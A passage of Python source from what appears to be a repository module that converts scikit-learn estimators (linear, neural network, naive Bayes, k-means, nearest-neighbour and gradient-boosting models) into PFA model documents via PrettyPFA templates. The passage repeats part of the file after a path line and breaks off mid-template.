# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Layer = record(Layer,
weights: array(array(double)),
bias: array(double));
Input = {input_record}
input: Input
output: double
cells:
neuralnet(array(Layer)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var activation = model.neural.simpleLayers(x, neuralnet, fcn(x: double -> double) m.link.relu(x));
activation[0]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
# NOTE: `model.neural.simpleLayers` accepts transposed matrices
pfa['cells']['neuralnet']['init'] = [
{
'bias': bias.tolist(),
'weights': weights.T.tolist()
} for bias, weights in zip(estimator.intercepts_, estimator.coefs_)
]
return pfa
def _pfa_mlpclassifier(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-neural-network
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Layer = record(Layer,
weights: array(array(double)),
bias: array(double));
Input = {input_record}
input: Input
output: string
cells:
neuralnet(array(Layer)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var activations = model.neural.simpleLayers(x, neuralnet, fcn(x: double -> double) m.link.relu(x));
classes[a.argmax(activations)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
# NOTE: `model.neural.simpleLayers` accepts transposed matrices
pfa['cells']['neuralnet']['init'] = [
{
'bias': bias.tolist(),
'weights': weights.T.tolist()
} for bias, weights in zip(estimator.intercepts_, estimator.coefs_)
]
return pfa
def _pfa_multinomialnb(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-naive-bayes
NOTE: in our use case we use mostly one-hot encoded variables, so using BernoulliNB might make
more sense
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Distribution = record(Distribution,
logLikelihoods: array(double),
logPrior: double);
Input = {input_record}
input: Input
output: string
cells:
model(array(Distribution)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var classLL = a.map(model, fcn(dist: Distribution -> double) {{
model.naive.multinomial(x, dist.logLikelihoods) + dist.logPrior
}});
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
logprior = np.maximum(estimator.class_log_prior_, -1e10)
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'logLikelihoods': ll.tolist(),
'logPrior': log_prior.tolist()
} for log_prior, ll in zip(logprior, np.exp(estimator.feature_log_prob_))
]
return pfa
def _pfa_gaussiannb(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-naive-bayes
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Distribution = record(Distribution,
stats: array(record(M, mean: double, variance: double)),
logPrior: double);
Input = {input_record}
input: Input
output: string
cells:
model(array(Distribution)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var classLL = a.map(model, fcn(dist: Distribution -> double) {{
model.naive.gaussian(x, dist.stats) + dist.logPrior
}});
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
prior = np.maximum(estimator.class_prior_, 1e-10)
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'stats': [{
'mean': m,
'variance': s
} for m, s in zip(means, sigmas)],
'logPrior': np.log(prior).tolist()
} for prior, means, sigmas in zip(prior, estimator.theta_, estimator.sigma_)
]
return pfa
def _pfa_mixednb(estimator, types, featurizer):
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
GaussianDistribution = record(GaussianDistribution,
stats: array(record(M, mean: double, variance: double)));
MultinomialDistribution = record(MultinomialDistribution,
logLikelihoods: array(double));
Input = {input_record}
input: Input
output: string
cells:
gaussModel(array(GaussianDistribution)) = [];
multinomialModel(array(MultinomialDistribution)) = [];
classes(array(string)) = [];
logPrior(array(double)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var gaussFeatures = if( a.len(gaussModel) > 0 ) a.len(gaussModel[0,"stats"]) else 0;
var gaussianLL = a.map(gaussModel, fcn(dist: GaussianDistribution -> double) {{
model.naive.gaussian(a.subseq(x, 0, gaussFeatures), dist.stats)
}});
var multinomialLL = a.map(multinomialModel, fcn(dist: MultinomialDistribution -> double) {{
model.naive.multinomial(a.subseq(x, gaussFeatures, a.len(x)), dist.logLikelihoods)
}});
var classLL = logPrior;
if (a.len(gaussianLL) > 0)
classLL = la.add(classLL, gaussianLL);
if (a.len(multinomialLL) > 0)
classLL = la.add(classLL, multinomialLL);
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
# avoid null values from log prior
logprior = np.maximum(estimator.class_log_prior_, -1e10)
pfa['cells']['logPrior']['init'] = logprior.tolist()
# assumes that continuous features go before nominal ones
if hasattr(estimator.gauss_nb, 'theta_'):
pfa['cells']['gaussModel']['init'] = [
{
'stats': [{
'mean': m,
'variance': s
} for m, s in zip(means, sigmas)]
} for means, sigmas in zip(estimator.gauss_nb.theta_, estimator.gauss_nb.sigma_)
]
if hasattr(estimator.multi_nb, 'feature_log_prob_'):
pfa['cells']['multinomialModel']['init'] = [
{
'logLikelihoods': ll.tolist()
} for ll in np.exp(estimator.multi_nb.feature_log_prob_)
]
return pfa
def _pfa_kmeans(estimator, types, featurizer):
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Cluster = record(Cluster, center: array(double), id: int);
Input = {input_record}
input: Input
output: int
cells:
clusters(array(Cluster)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var cluster = model.cluster.closest(x, clusters, metric.simpleEuclidean);
cluster.id
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['clusters']['init'] = [
{
'center': c.tolist(),
'id': i
} for i, c in enumerate(estimator.cluster_centers_)
]
return pfa
def _pfa_kneighborsregressor(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-nearest-neighbors"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Point = record(Point,
x: array(double),
y: double);
Codebook = array(Point);
Input = {input_record}
input: Input
output: double
cells:
codebook(Codebook) = [];
nNeighbors(int) = 5;
fcns:
{functions}
action:
var x = {featurizer};
var neighbors = model.neighbor.nearestK(nNeighbors, x, codebook, fcn(x: array(double), p: Point -> double) {{
metric.simpleEuclidean(x, p.x)
}});
a.mean(a.map(neighbors, fcn(p: Point -> double) p.y))
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['codebook']['init'] = [
{
'x': x.tolist(),
'y': y
} for x, y in zip(estimator._fit_X, estimator._y)
]
pfa['cells']['nNeighbors']['init'] = estimator.n_neighbors
return pfa
def _pfa_kneighborsclassifier(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-nearest-neighbors"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Point = record(Point,
x: array(double),
y: string);
Codebook = array(Point);
Input = {input_record}
input: Input
output: string
cells:
codebook(Codebook) = [];
nNeighbors(int) = 5;
fcns:
{functions}
action:
var x = {featurizer};
var neighbors = model.neighbor.nearestK(nNeighbors, x, codebook, fcn(x: array(double), p: Point -> double) {{
metric.simpleEuclidean(x, p.x)
}});
a.mode(a.map(neighbors, fcn(p: Point -> string) p.y))
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
y_labels = [estimator.classes_[e] for e in estimator._y]
pfa['cells']['codebook']['init'] = [
{
'x': x.tolist(),
'y': y
} for x, y in zip(estimator._fit_X, y_labels)
]
pfa['cells']['nNeighbors']['init'] = estimator.n_neighbors
return pfa
def make_tree(tree, node_id=0):
if tree.children_left[node_id] == sklearn.tree._tree.TREE_LEAF:
leaf_value = float(tree.value[node_id][0, 0])
# special case for empty tree with just root
if node_id == 0:
return {'TreeNode': {
'feature': 0,
'operator': '<=',
'value': 0.,
'pass': {'double': leaf_value},
'fail': {'double': leaf_value}
}}
else:
return {'double': leaf_value}
return {'TreeNode': {
'feature': int(tree.feature[node_id]),
'operator': '<=',
'value': float(tree.threshold[node_id]),
'pass': make_tree(tree, tree.children_left[node_id]),
'fail': make_tree(tree, tree.children_right[node_id])
}}
def _pfa_gradientboostingregressor(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-decision-tree"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
TreeNode = record(TreeNode,
feature: int,
operator: string,
value: double,
pass: union(double, TreeNode),
fail: union(double, TreeNode));
Row = record(Row, values: array(double));
Input = {input_record}
input: Input
output: double
cells:
// empty tree to satisfy type constraint; will be filled in later
trees(array(TreeNode)) = [];
// model intercept to which tree predictions are added
intercept(double) = 0.0;
learningRate(double) = 0.0;
fcns:
{functions}
action:
var x = {featurizer};
var row = new(Row, values: x);
var scores = a.map(trees, fcn(tree: TreeNode -> double) {{
model.tree.simpleWalk(row, tree, fcn(d: Row, t: TreeNode -> boolean) {{
d.values[t.feature] <= t.value
}})
}});
intercept + learningRate * a.sum(scores)
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
tree_dicts = []
for tree in estimator.estimators_[:, 0]:
tree_dicts.append(make_tree(tree.tree_)['TreeNode'])
pfa["cells"]["trees"]["init"] = tree_dicts
pfa['cells']['intercept']['init'] = estimator.init_.mean
pfa['cells']['learningRate']['init'] = estimator.learning_rate
return pfa
def _pfa_gradientboostingclassifier(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-decision-tree"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
TreeNode = record(TreeNode,
feature: int,
operator: string,
value: double,
pass: union(double, TreeNode),
fail: union(double, TreeNode));
Row = record(Row, values: array(double));
Input = {input_record}
input: Input
output: string
cells:
classes(array(string)) = [];
// set of trees for each class
classesTrees(array(array(TreeNode))) = [];
// model priors to which tree predictions are added
priors(array(double)) = [];
learningRate(double) = 0.0;
fcns:
{functions}
action:
var x = {featurizer};
var row = new(Row, values: x);
// trees activations
var activations = a.map(classesTrees, fcn(trees: array(TreeNode) -> double) {{
var scores = a.map(trees, fcn(tree: TreeNode -> double) {{
model.tree.simpleWalk(row, tree, fcn(d: Row, t: TreeNode -> boolean) {{
d.values[t.feature] <= t.value
}})
}});
learningRate * a.sum(scores)
}});
// add priors
activations = la.add(priors, activations);
// probabilities
var norm = a.logsumexp(activations);
var probs = a.map(activations, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
tree_dicts = [[make_tree(tree.tree_)['TreeNode'] for tree in trees] for trees in estimator.estimators_.T]
pfa["cells"]["classesTrees"]["init"] = tree_dicts
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['priors']['init'] = list(estimator.init_.priors)
pfa['cells']['learningRate']['init'] = estimator.learning_rate
return pfa
def _construct_featurizer(types):
inputs = []
for name, typ in types:
if typ == 'int':
inputs.append('cast.double(input.{})'.format(name))
else:
inputs.append('input.{}'.format(name))
return """
new(array(double),
{inputs}
)
""".format(inputs=',\n'.join(inputs)).strip()
def _input_record(types):
s = 'record(Input'
for name, typ in types:
s += ',\n {}: {}'.format(name, typ)
return s + '\n);'
def _fix_types_compatibility(types):
new_types = []
for name, typ in types:
if typ == 'real':
typ = 'double'
elif typ == 'integer':
typ = 'int'
elif typ in ('polynominal', 'binominal'):
typ = 'string'
new_types.append((name, typ))
return new_types
def _functions():
return """
arr = fcn(x: double -> array(double))
new(array(double), x);
C = fcn(x: string, categories: array(string) -> array(double))
a.map(categories, fcn(cat: string -> double) if(cat == x) 1 else 0);
standardize = fcn(x: double, mu: double, sigma: double -> double)
(x - mu) / sigma;
""".strip() | python-mip-sklearn/sklearn_to_pfa/sklearn_to_pfa/sklearn_to_pfa.py |
import sklearn
from sklearn.linear_model import SGDRegressor, SGDClassifier
from sklearn.neural_network import MLPRegressor, MLPClassifier
from sklearn.naive_bayes import MultinomialNB, GaussianNB
from sklearn.neighbors import KNeighborsRegressor, KNeighborsClassifier
from sklearn.ensemble import GradientBoostingRegressor, GradientBoostingClassifier
from sklearn.cluster import KMeans
from .mixed_nb import MixedNB
import logging
import numpy as np
import titus.prettypfa
def sklearn_to_pfa(estimator, types, featurizer=None):
"""
Convert scikit-learn estimator to PFA format.
:param estimator: Scikit-learn estimator, must be supported
:param types: List of tuples (name, type)
"""
types = _fix_types_compatibility(types)
featurizer = featurizer or _construct_featurizer(types)
if isinstance(estimator, SGDRegressor):
return _pfa_sgdregressor(estimator, types, featurizer)
elif isinstance(estimator, SGDClassifier):
return _pfa_sgdclassifier(estimator, types, featurizer)
elif isinstance(estimator, MLPRegressor):
return _pfa_mlpregressor(estimator, types, featurizer)
elif isinstance(estimator, MLPClassifier):
return _pfa_mlpclassifier(estimator, types, featurizer)
elif isinstance(estimator, MultinomialNB):
return _pfa_multinomialnb(estimator, types, featurizer)
elif isinstance(estimator, GaussianNB):
return _pfa_gaussiannb(estimator, types, featurizer)
elif isinstance(estimator, MixedNB):
return _pfa_mixednb(estimator, types, featurizer)
elif isinstance(estimator, KMeans):
return _pfa_kmeans(estimator, types, featurizer)
elif isinstance(estimator, KNeighborsRegressor):
return _pfa_kneighborsregressor(estimator, types, featurizer)
elif isinstance(estimator, KNeighborsClassifier):
return _pfa_kneighborsclassifier(estimator, types, featurizer)
elif isinstance(estimator, GradientBoostingRegressor):
return _pfa_gradientboostingregressor(estimator, types, featurizer)
elif isinstance(estimator, GradientBoostingClassifier):
return _pfa_gradientboostingclassifier(estimator, types, featurizer)
else:
raise NotImplementedError('Estimator {} is not yet supported'.format(estimator.__class__.__name__))
def _pfa_sgdregressor(estimator, types, featurizer):
"""
Example output:
input: record(Data,
feature0: double,
feature1: double,
)
output: double
action:
-2.525797382870301 + 31.7004451488 * input.feature0 + 42.5005713274 * input.feature1
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Regression = record(Regression, const: double, coeff: array(double));
Input = {input_record}
input: Input
output: double
cells:
// query(Query) = {{}};
model(Regression) = {{const: 0.0, coeff: []}};
fcns:
{functions}
action:
var x = {featurizer};
model.reg.linear(x, model)
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['model']['init'] = {'const': estimator.intercept_[0], 'coeff': list(estimator.coef_)}
return pfa
def _pfa_sgdclassifier(estimator, types, featurizer):
"""
Example output:
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Input = record(Input,
a: double,
b: double
);
Regression = record(Regression, const: double, coeff: array(double));
input: Input
output: string
cells:
query(Query) = {sql: SELECT, variable: dep, covariables: [a, b, c]};
model(array(Regression)) = [
{const: 3, coeff: [1, 2]},
{const: 3, coeff: [1, 4]}
];
classes(array(string)) = [a, b, c];
fcns:
featurize = fcn(x: Input -> array(double))
new(array(double),
x.a,
x.b
)
action:
// TODO: define this as a function when functions start working with titus python 3
var x = new(array(double),
input.a,
input.b
);
var scores = a.map(model, fcn(r: Regression -> double) model.reg.linear(x, r));
classes[a.argmax(scores)]
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Regression = record(Regression, const: double, coeff: array(double));
Input = {input_record}
input: Input
output: string
cells:
// query(Query) = {{}};
model(array(Regression)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var scores = a.map(model, fcn(r: Regression -> double) model.reg.linear(x, r));
classes[a.argmax(scores)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'const': const,
'coeff': list(coeff)
} for const, coeff in zip(estimator.intercept_, estimator.coef_)
]
return pfa
def _pfa_mlpregressor(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-neural-network
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Layer = record(Layer,
weights: array(array(double)),
bias: array(double));
Input = {input_record}
input: Input
output: double
cells:
neuralnet(array(Layer)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var activation = model.neural.simpleLayers(x, neuralnet, fcn(x: double -> double) m.link.relu(x));
activation[0]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
# NOTE: `model.neural.simpleLayers` accepts transposed matrices
pfa['cells']['neuralnet']['init'] = [
{
'bias': bias.tolist(),
'weights': weights.T.tolist()
} for bias, weights in zip(estimator.intercepts_, estimator.coefs_)
]
return pfa
def _pfa_mlpclassifier(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-neural-network
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Layer = record(Layer,
weights: array(array(double)),
bias: array(double));
Input = {input_record}
input: Input
output: string
cells:
neuralnet(array(Layer)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var activations = model.neural.simpleLayers(x, neuralnet, fcn(x: double -> double) m.link.relu(x));
classes[a.argmax(activations)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
# NOTE: `model.neural.simpleLayers` accepts transposed matrices
pfa['cells']['neuralnet']['init'] = [
{
'bias': bias.tolist(),
'weights': weights.T.tolist()
} for bias, weights in zip(estimator.intercepts_, estimator.coefs_)
]
return pfa
def _pfa_multinomialnb(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-naive-bayes
NOTE: in our use case we use mostly one-hot encoded variables, so using BernoulliNB might make
more sense
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Distribution = record(Distribution,
logLikelihoods: array(double),
logPrior: double);
Input = {input_record}
input: Input
output: string
cells:
model(array(Distribution)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var classLL = a.map(model, fcn(dist: Distribution -> double) {{
model.naive.multinomial(x, dist.logLikelihoods) + dist.logPrior
}});
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
logprior = np.maximum(estimator.class_log_prior_, -1e10)
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'logLikelihoods': ll.tolist(),
'logPrior': log_prior.tolist()
} for log_prior, ll in zip(logprior, np.exp(estimator.feature_log_prob_))
]
return pfa
def _pfa_gaussiannb(estimator, types, featurizer):
"""
See https://github.com/opendatagroup/hadrian/wiki/Basic-naive-bayes
"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Distribution = record(Distribution,
stats: array(record(M, mean: double, variance: double)),
logPrior: double);
Input = {input_record}
input: Input
output: string
cells:
model(array(Distribution)) = [];
classes(array(string)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var classLL = a.map(model, fcn(dist: Distribution -> double) {{
model.naive.gaussian(x, dist.stats) + dist.logPrior
}});
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
prior = np.maximum(estimator.class_prior_, 1e-10)
pfa['cells']['classes']['init'] = list(estimator.classes_)
pfa['cells']['model']['init'] = [
{
'stats': [{
'mean': m,
'variance': s
} for m, s in zip(means, sigmas)],
'logPrior': np.log(prior).tolist()
} for prior, means, sigmas in zip(prior, estimator.theta_, estimator.sigma_)
]
return pfa
def _pfa_mixednb(estimator, types, featurizer):
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
GaussianDistribution = record(GaussianDistribution,
stats: array(record(M, mean: double, variance: double)));
MultinomialDistribution = record(MultinomialDistribution,
logLikelihoods: array(double));
Input = {input_record}
input: Input
output: string
cells:
gaussModel(array(GaussianDistribution)) = [];
multinomialModel(array(MultinomialDistribution)) = [];
classes(array(string)) = [];
logPrior(array(double)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var gaussFeatures = if( a.len(gaussModel) > 0 ) a.len(gaussModel[0,"stats"]) else 0;
var gaussianLL = a.map(gaussModel, fcn(dist: GaussianDistribution -> double) {{
model.naive.gaussian(a.subseq(x, 0, gaussFeatures), dist.stats)
}});
var multinomialLL = a.map(multinomialModel, fcn(dist: MultinomialDistribution -> double) {{
model.naive.multinomial(a.subseq(x, gaussFeatures, a.len(x)), dist.logLikelihoods)
}});
var classLL = logPrior;
if (a.len(gaussianLL) > 0)
classLL = la.add(classLL, gaussianLL);
if (a.len(multinomialLL) > 0)
classLL = la.add(classLL, multinomialLL);
var norm = a.logsumexp(classLL);
var probs = a.map(classLL, fcn(x: double -> double) m.exp(x - norm));
classes[a.argmax(probs)]
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['classes']['init'] = list(estimator.classes_)
# avoid null values from log prior
logprior = np.maximum(estimator.class_log_prior_, -1e10)
pfa['cells']['logPrior']['init'] = logprior.tolist()
# assumes that continuous features go before nominal ones
if hasattr(estimator.gauss_nb, 'theta_'):
pfa['cells']['gaussModel']['init'] = [
{
'stats': [{
'mean': m,
'variance': s
} for m, s in zip(means, sigmas)]
} for means, sigmas in zip(estimator.gauss_nb.theta_, estimator.gauss_nb.sigma_)
]
if hasattr(estimator.multi_nb, 'feature_log_prob_'):
pfa['cells']['multinomialModel']['init'] = [
{
'logLikelihoods': ll.tolist()
} for ll in np.exp(estimator.multi_nb.feature_log_prob_)
]
return pfa
def _pfa_kmeans(estimator, types, featurizer):
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Cluster = record(Cluster, center: array(double), id: int);
Input = {input_record}
input: Input
output: int
cells:
clusters(array(Cluster)) = [];
fcns:
{functions}
action:
var x = {featurizer};
var cluster = model.cluster.closest(x, clusters, metric.simpleEuclidean);
cluster.id
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['clusters']['init'] = [
{
'center': c.tolist(),
'id': i
} for i, c in enumerate(estimator.cluster_centers_)
]
return pfa
def _pfa_kneighborsregressor(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-nearest-neighbors"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Point = record(Point,
x: array(double),
y: double);
Codebook = array(Point);
Input = {input_record}
input: Input
output: double
cells:
codebook(Codebook) = [];
nNeighbors(int) = 5;
fcns:
{functions}
action:
var x = {featurizer};
var neighbors = model.neighbor.nearestK(nNeighbors, x, codebook, fcn(x: array(double), p: Point -> double) {{
metric.simpleEuclidean(x, p.x)
}});
a.mean(a.map(neighbors, fcn(p: Point -> double) p.y))
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
pfa['cells']['codebook']['init'] = [
{
'x': x.tolist(),
'y': y
} for x, y in zip(estimator._fit_X, estimator._y)
]
pfa['cells']['nNeighbors']['init'] = estimator.n_neighbors
return pfa
def _pfa_kneighborsclassifier(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-nearest-neighbors"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
Point = record(Point,
x: array(double),
y: string);
Codebook = array(Point);
Input = {input_record}
input: Input
output: string
cells:
codebook(Codebook) = [];
nNeighbors(int) = 5;
fcns:
{functions}
action:
var x = {featurizer};
var neighbors = model.neighbor.nearestK(nNeighbors, x, codebook, fcn(x: array(double), p: Point -> double) {{
metric.simpleEuclidean(x, p.x)
}});
a.mode(a.map(neighbors, fcn(p: Point -> string) p.y))
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
logging.info(pretty_pfa)
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
y_labels = [estimator.classes_[e] for e in estimator._y]
pfa['cells']['codebook']['init'] = [
{
'x': x.tolist(),
'y': y
} for x, y in zip(estimator._fit_X, y_labels)
]
pfa['cells']['nNeighbors']['init'] = estimator.n_neighbors
return pfa
def make_tree(tree, node_id=0):
if tree.children_left[node_id] == sklearn.tree._tree.TREE_LEAF:
leaf_value = float(tree.value[node_id][0, 0])
# special case for empty tree with just root
if node_id == 0:
return {'TreeNode': {
'feature': 0,
'operator': '<=',
'value': 0.,
'pass': {'double': leaf_value},
'fail': {'double': leaf_value}
}}
else:
return {'double': leaf_value}
return {'TreeNode': {
'feature': int(tree.feature[node_id]),
'operator': '<=',
'value': float(tree.threshold[node_id]),
'pass': make_tree(tree, tree.children_left[node_id]),
'fail': make_tree(tree, tree.children_right[node_id])
}}
def _pfa_gradientboostingregressor(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-decision-tree"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
Query = record(Query,
sql: string,
variable: string,
covariables: array(string));
TreeNode = record(TreeNode,
feature: int,
operator: string,
value: double,
pass: union(double, TreeNode),
fail: union(double, TreeNode));
Row = record(Row, values: array(double));
Input = {input_record}
input: Input
output: double
cells:
// empty tree to satisfy type constraint; will be filled in later
trees(array(TreeNode)) = [];
// model intercept to which tree predictions are added
intercept(double) = 0.0;
learningRate(double) = 0.0;
fcns:
{functions}
action:
var x = {featurizer};
var row = new(Row, values: x);
var scores = a.map(trees, fcn(tree: TreeNode -> double) {{
model.tree.simpleWalk(row, tree, fcn(d: Row, t: TreeNode -> boolean) {{
d.values[t.feature] <= t.value
}})
}});
intercept + learningRate * a.sum(scores)
""".format(
input_record=input_record, featurizer=featurizer, functions=_functions()
).strip()
# compile
pfa = titus.prettypfa.jsonNode(pretty_pfa)
# add model from scikit-learn
tree_dicts = []
for tree in estimator.estimators_[:, 0]:
tree_dicts.append(make_tree(tree.tree_)['TreeNode'])
pfa["cells"]["trees"]["init"] = tree_dicts
pfa['cells']['intercept']['init'] = estimator.init_.mean
pfa['cells']['learningRate']['init'] = estimator.learning_rate
return pfa
def _pfa_gradientboostingclassifier(estimator, types, featurizer):
"""See https://github.com/opendatagroup/hadrian/wiki/Basic-decision-tree"""
input_record = _input_record(types)
# construct template
pretty_pfa = """
types:
